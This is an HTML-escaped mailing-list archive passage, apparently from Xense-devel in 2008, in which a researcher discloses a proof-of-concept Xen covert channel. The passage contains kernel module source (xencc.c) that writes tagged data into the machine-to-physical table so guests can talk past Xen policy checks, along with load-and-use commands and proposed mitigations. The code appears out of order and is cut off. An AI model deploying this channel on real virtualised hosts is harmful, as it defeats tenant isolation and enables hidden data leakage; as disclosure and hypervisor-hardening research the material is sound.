&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; snprintf(xencc_data + xencc_data_size, XENCC_DATA_SIZE - xencc_data_size, &amp;quot;\\x%02x&amp;quot;, PFN_EXTRACT(pfn, i));
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size += 4;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(xencc_data_size + 1 &amp;lt;= XENCC_DATA_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data[xencc_data_size] = PFN_EXTRACT(pfn, i);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_data_size++;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;#endif
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; return ret;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static ssize_t xencc_read(struct file *filep, char *buff, size_t count, loff_t *offp )
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;read from guest %d\n&amp;quot;, XENCC_OTH);
&lt;br&gt;&amp;nbsp; &amp;nbsp; pfn_tag_find((start_info_t *)xen_start_info);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(copy_to_user(buff, xencc_data, xencc_data_size) != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: kernel -&amp;gt; userspace copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; return xencc_data_size;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static ssize_t xencc_write(struct file *filep, const char *buff, size_t count, loff_t *offp )
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(count &amp;gt;= sizeof(xencc_data) || copy_from_user(xencc_data, buff, count) != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: userspace -&amp;gt; kernel copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn = mfn_cc_write((unsigned char *)xencc_data, count);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(mfn == NULL)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mfn_cc_clean(); // pas forcÃ©ment contigue...
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: MFN copy failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -EINVAL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;write\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return count;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static struct file_operations xencc_fops = {
&lt;br&gt;&amp;nbsp; &amp;nbsp; .owner = THIS_MODULE,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .read = xencc_read,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .write = xencc_write,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .open = xencc_open,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .release = xencc_release,
&lt;br&gt;};
&lt;br&gt;&lt;br&gt;static struct miscdevice xencc_dev = {
&lt;br&gt;&amp;nbsp; &amp;nbsp; .minor = MISC_DYNAMIC_MINOR,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .name = DEV_NAME,
&lt;br&gt;&amp;nbsp; &amp;nbsp; .fops = &amp;xencc_fops,
&lt;br&gt;};
&lt;br&gt;&lt;br&gt;&lt;br&gt;static int xencc_init(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int ret = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_data[XENCC_DATA_SIZE - 1] = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; ret = misc_register(&amp;xencc_dev);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(ret)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: unable to register device (%d)\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;ret);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return ret;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;loaded guest %d\n&amp;quot;, XENCC_ME);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages_nb = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_old_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void xencc_exit(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(misc_deregister(&amp;xencc_dev))
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: unable to unregister device\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_cc_clean();
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;unloaded\n&amp;quot;);
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;module_init(xencc_init);
&lt;br&gt;module_exit(xencc_exit);
&lt;br&gt;&lt;/tt&gt;&lt;hr align=&quot;left&quot; width=&quot;300&quot; /&gt;&lt;br /&gt;_______________________________________________
&lt;br&gt;Xense-devel mailing list
&lt;br&gt;&lt;a href=&quot;http://old.nabble.com/user/SendEmail.jtp?type=post&amp;post=18616011&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Xense-devel@...&lt;/a&gt;
&lt;br&gt;&lt;a href=&quot;http://lists.xensource.com/xense-devel&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/xense-devel&lt;/a&gt;&lt;br&gt;&lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://old.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;Makefile&lt;/strong&gt; (266 bytes) &lt;a href=&quot;http://old.nabble.com/attachment/18616011/0/Makefile&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://old.nabble.com/PoC-of-Covert-Channel-tp18616011p18616011.html" />
</entry>

<entry>
	<id>tag:old.nabble.com,2006:post-18614975</id>
	<title>PoC of Covert Channel</title>
	<published>2008-07-23T09:30:00Z</published>
	<updated>2008-07-23T09:30:00Z</updated>
	<author>
		<name>Mickaël Salaün</name>
	</author>
	<content type="html">Hi all,
&lt;br&gt;I created a proof of concept to communicate between guests (inside
&lt;br&gt;dom0 or domU) in a Xen environment. You need to have kernel rights
&lt;br&gt;(hypercalls are needed).
&lt;br&gt;It use the machine-to-physical table to store informations. This table
&lt;br&gt;is readable for all guests and writable for the part's guest. The
&lt;br&gt;principle is simple: write a tag and your data instead of addresses.
&lt;br&gt;Other guests can read what you wrote and extract data. An half-duplex
&lt;br&gt;channel can be created to share information between OS (Linux 2.6
&lt;br&gt;x86-32 for now).
&lt;br&gt;&lt;br&gt;This PoC is not a new idea[1] but a practical issue. This one bypass
&lt;br&gt;the Xen Policy checks as knew by developers[2].
&lt;br&gt;&lt;br&gt;The machine-to-physical table is really good for the performance
&lt;br&gt;mapping but it would be a good idea to have one table for each guest
&lt;br&gt;and protect it. I think it is not a big problem, it can be fast
&lt;br&gt;(memory size and switch time). Another solution is to use a full
&lt;br&gt;shadow page tables, but with a lower speed if it is a software
&lt;br&gt;translation. If it is done like this, my PoC will be unusable. It will
&lt;br&gt;also be good to prevent other guests to read the table and infer (with
&lt;br&gt;Xen interrupts) a (basic) map of the physically mapped memory.
&lt;br&gt;&lt;br&gt;The code is a device driver who create /dev/xencc. The communication
&lt;br&gt;protocol is based on tags. You need a different tag for each guest
&lt;br&gt;(look at the source and change it for the second guest). For now, you
&lt;br&gt;can only communicate between two guests. If you have not udev install
&lt;br&gt;on your system, the device will not be created when you insert the
&lt;br&gt;specific module[3]. In this case you need to create it by hand[4].
&lt;br&gt;You can write[5] and read[6]. If you are risky you can change the
&lt;br&gt;limit buffer size in the source. The channel bandwidth seams to be
&lt;br&gt;good because it use an hypercall (mmu_update) to copy an entire range
&lt;br&gt;of data at the same time. The drawback of this method is the consuming
&lt;br&gt;memory. We are allocating addresses instead of 4 bytes (in x86-32
&lt;br&gt;architecture), so we need to transmit data step-by-step. With a good
&lt;br&gt;scheduling you can have a quick channel.
&lt;br&gt;&lt;br&gt;This is an unstable version, use it with caution!
&lt;br&gt;&lt;br&gt;Best regards,
&lt;br&gt;Mickaël Salaün
&lt;br&gt;&lt;br&gt;&lt;br&gt;1. &lt;a href=&quot;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xense-devel&amp;i=003501c63303%245209cbd0%241c02000a%40Myong1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xense-devel&amp;i=003501c63303%245209cbd0%241c02000a%40Myong1&lt;/a&gt;&lt;br&gt;2. &lt;a href=&quot;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xen-devel&amp;i=39CC97884CA19A4D8D6296FE94357BCB019EB0B2%40swsmsx404&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://lists.xensource.com/archives/cgi-bin/mesg.cgi?a=xen-devel&amp;i=39CC97884CA19A4D8D6296FE94357BCB019EB0B2%40swsmsx404&lt;/a&gt;&lt;br&gt;3. insmod xencc.ko
&lt;br&gt;4. mknod /dev/xencc c `grep misc /proc/devices | awk '{print $1}'`
&lt;br&gt;`grep xencc /proc/misc | awk '{print $1}'`
&lt;br&gt;5. echo your msg &amp;gt; /dev/xencc
&lt;br&gt;6. dd if=/dev/xencc count=1
&lt;br&gt;&lt;br /&gt; &lt;br /&gt;&lt;tt&gt;[xencc.c]&lt;/tt&gt;&lt;br /&gt;&lt;hr align=&quot;left&quot; width=&quot;300&quot; /&gt;&lt;tt&gt;#include &amp;lt;linux/module.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/miscdevice.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/uaccess.h&amp;gt;
&lt;br&gt;#include &amp;lt;linux/mm.h&amp;gt;
&lt;br&gt;&lt;br&gt;/*
&lt;br&gt;XenCC v0.1 (07/2008)
&lt;br&gt;&lt;br&gt;Copyright (C) 2008 &amp;nbsp;MickaÃ«l SalaÃ¼n
&lt;br&gt;&lt;br&gt;This program is free software: you can redistribute it and/or modify
&lt;br&gt;it under the terms of the GNU General Public License as published by
&lt;br&gt;the Free Software Foundation, either version 3 of the License, or
&lt;br&gt;(at your option) any later version.
&lt;br&gt;&lt;br&gt;This program is distributed in the hope that it will be useful,
&lt;br&gt;but WITHOUT ANY WARRANTY; without even the implied warranty of
&lt;br&gt;MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. &amp;nbsp;See the
&lt;br&gt;GNU General Public License for more details.
&lt;br&gt;&lt;br&gt;You should have received a copy of the GNU General Public License
&lt;br&gt;along with this program. &amp;nbsp;If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.
&lt;br&gt;*/
&lt;br&gt;&lt;br&gt;&lt;br&gt;#define DEV_NAME &amp;quot;xencc&amp;quot;
&lt;br&gt;&lt;br&gt;MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
&lt;br&gt;MODULE_AUTHOR (&amp;quot;MickaÃ«l SalaÃ¼n&amp;quot;);
&lt;br&gt;MODULE_DESCRIPTION (&amp;quot;Create /dev/&amp;quot; DEV_NAME &amp;quot; to communicate with an other guest through a Xen covert channel.&amp;quot;);
&lt;br&gt;&lt;br&gt;&lt;br&gt;// comment this for the second guest !
&lt;br&gt;#define XENCC_ME_FIRST
&lt;br&gt;&lt;br&gt;// better with @ &amp;gt; PAGE_SHIFT bits (but not tactful)
&lt;br&gt;#define XENCC_TAGS_1 {123456, 13641, 1616}
&lt;br&gt;#define XENCC_TAGS_2 {151651, 1416, 469564}
&lt;br&gt;// same dom (test):
&lt;br&gt;//#define XENCC_TAGS_2 XENCC_TAGS_1
&lt;br&gt;&lt;br&gt;#ifdef XENCC_ME_FIRST
&lt;br&gt;#define XENCC_TAGS_A XENCC_TAGS_1
&lt;br&gt;#define XENCC_TAGS_B XENCC_TAGS_2
&lt;br&gt;#define XENCC_ME 1
&lt;br&gt;#define XENCC_OTH 2
&lt;br&gt;#else
&lt;br&gt;#define XENCC_TAGS_A XENCC_TAGS_2
&lt;br&gt;#define XENCC_TAGS_B XENCC_TAGS_1
&lt;br&gt;#define XENCC_ME 2
&lt;br&gt;#define XENCC_OTH 1
&lt;br&gt;#endif
&lt;br&gt;&lt;br&gt;#define XENCC_DATA_SIZE 256
&lt;br&gt;&lt;br&gt;#define XENCC_VALINIT 0
&lt;br&gt;&lt;br&gt;#define MFN_START 0
&lt;br&gt;#define MFN_END 0x00400000 // 4Mo = 2^22
&lt;br&gt;&lt;br&gt;//#define MSG_TYPE_HEXA
&lt;br&gt;&lt;br&gt;#if defined(__i386__)
&lt;br&gt;#define ADDR_LENGTH sizeof(unsigned long)
&lt;br&gt;#else
&lt;br&gt;#error &amp;quot;Unsupported architecture&amp;quot;
&lt;br&gt;#endif
&lt;br&gt;&lt;br&gt;static unsigned char xencc_data[XENCC_DATA_SIZE] = &amp;quot;&amp;quot;;
&lt;br&gt;static unsigned int xencc_data_size;
&lt;br&gt;&lt;br&gt;static struct page *xencc_pages;
&lt;br&gt;static int xencc_pages_nb;
&lt;br&gt;&lt;br&gt;static void *mfn_old;
&lt;br&gt;static int mfn_old_size;
&lt;br&gt;&lt;br&gt;// other's tags
&lt;br&gt;static unsigned long pfn_oth_header_tag[] = XENCC_TAGS_A;
&lt;br&gt;#define PFN_OTH_HEADER_TAG_SIZE (sizeof(pfn_oth_header_tag) / ADDR_LENGTH)
&lt;br&gt;&lt;br&gt;// our's tags
&lt;br&gt;static unsigned long pfn_my_header_tag[] = XENCC_TAGS_B;
&lt;br&gt;#define PFN_MY_HEADER_TAG_SIZE (sizeof(pfn_my_header_tag) / ADDR_LENGTH)
&lt;br&gt;#define PFN_MY_HEADER_SIZE (1 + sizeof(pfn_my_header_tag) / ADDR_LENGTH)
&lt;br&gt;&lt;br&gt;#define DBG(...) printk(KERN_DEBUG DEV_NAME &amp;quot; &amp;quot; __VA_ARGS__);
&lt;br&gt;&lt;br&gt;&lt;br&gt;static int xencc_open(struct inode *inode, struct file *filp)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;open\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static int xencc_release(struct inode *inode, struct file *filp)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;release\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; return 0;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void *allocate_mfn(unsigned int nb_pages)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int order;
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *pt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(order = 0; nb_pages &amp;gt; 0; order++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; nb_pages &amp;gt;&amp;gt;= 1;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;order: %d\n&amp;quot;, order);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)alloc_pages(GFP_KERNEL | __GFP_REPEAT | __GFP_ZERO, order);
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages = (struct page *)pt;
&lt;br&gt;&amp;nbsp; &amp;nbsp; xencc_pages_nb = order;
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;alloc_pages: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)page_to_pfn((struct page *)pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(pt == NULL) // ?
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: page allocation failed\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return NULL;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;page_to_pfn: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; pt = (void *)pfn_to_mfn((unsigned long)pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;pfn_to_mfn: %p\n&amp;quot;, pt);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; return pt;
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;static void mfn_cc_clean(void)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int i, nb_success;
&lt;br&gt;&amp;nbsp; &amp;nbsp; mmu_update_t upd[mfn_old_size];
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;clean\n&amp;quot;);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(mfn_old_size != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn_old: %p\n&amp;quot;, mfn_old);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;mfn_old_size: %d\n&amp;quot;, mfn_old_size);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for(i = 0; i &amp;lt; mfn_old_size; i++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].ptr = (((unsigned long)mfn_old + i) &amp;lt;&amp;lt; PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = XENCC_VALINIT;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; HYPERVISOR_mmu_update(upd, mfn_old_size, &amp;nb_success, DOMID_SELF);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(nb_success != mfn_old_size)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printk(KERN_ALERT DEV_NAME &amp;quot; %s[%d]: clean failed (%d)\n&amp;quot;,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__FUNCTION__,
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;__LINE__, nb_success);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mfn_old_size = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; if(xencc_pages_nb != 0)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; DBG(&amp;quot;free %p (%d)\n&amp;quot;, xencc_pages, xencc_pages_nb);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; __free_pages(xencc_pages, xencc_pages_nb);
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; xencc_pages_nb = 0;
&lt;br&gt;&amp;nbsp; &amp;nbsp; }
&lt;br&gt;}
&lt;br&gt;&lt;br&gt;// MFN Cover Channel Write
&lt;br&gt;static unsigned long *mfn_cc_write(unsigned char *data, unsigned long size)
&lt;br&gt;{
&lt;br&gt;&amp;nbsp; &amp;nbsp; int nb_success, i, j, max = PFN_MY_HEADER_SIZE + size / ADDR_LENGTH + ((size % ADDR_LENGTH) ? 1 : 0);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mmu_update_t upd[max];
&lt;br&gt;&amp;nbsp; &amp;nbsp; void *mfn;
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;write to guest %d\n&amp;quot;, XENCC_OTH);
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn_cc_clean();
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; mfn = allocate_mfn(max);
&lt;br&gt;&amp;nbsp; &amp;nbsp; DBG(&amp;quot;allocate_mfn : %p\n&amp;quot;, mfn);
&lt;br&gt;&amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; for(i = 0; i &amp;lt; max; i++)
&lt;br&gt;&amp;nbsp; &amp;nbsp; {
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].ptr = (((unsigned long)mfn + i) &amp;lt;&amp;lt; PAGE_SHIFT) | MMU_MACHPHYS_UPDATE;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(i &amp;lt; PFN_MY_HEADER_TAG_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = pfn_my_header_tag[i];
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else if(i == PFN_MY_HEADER_TAG_SIZE)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; upd[i].val = size;
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; else
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {
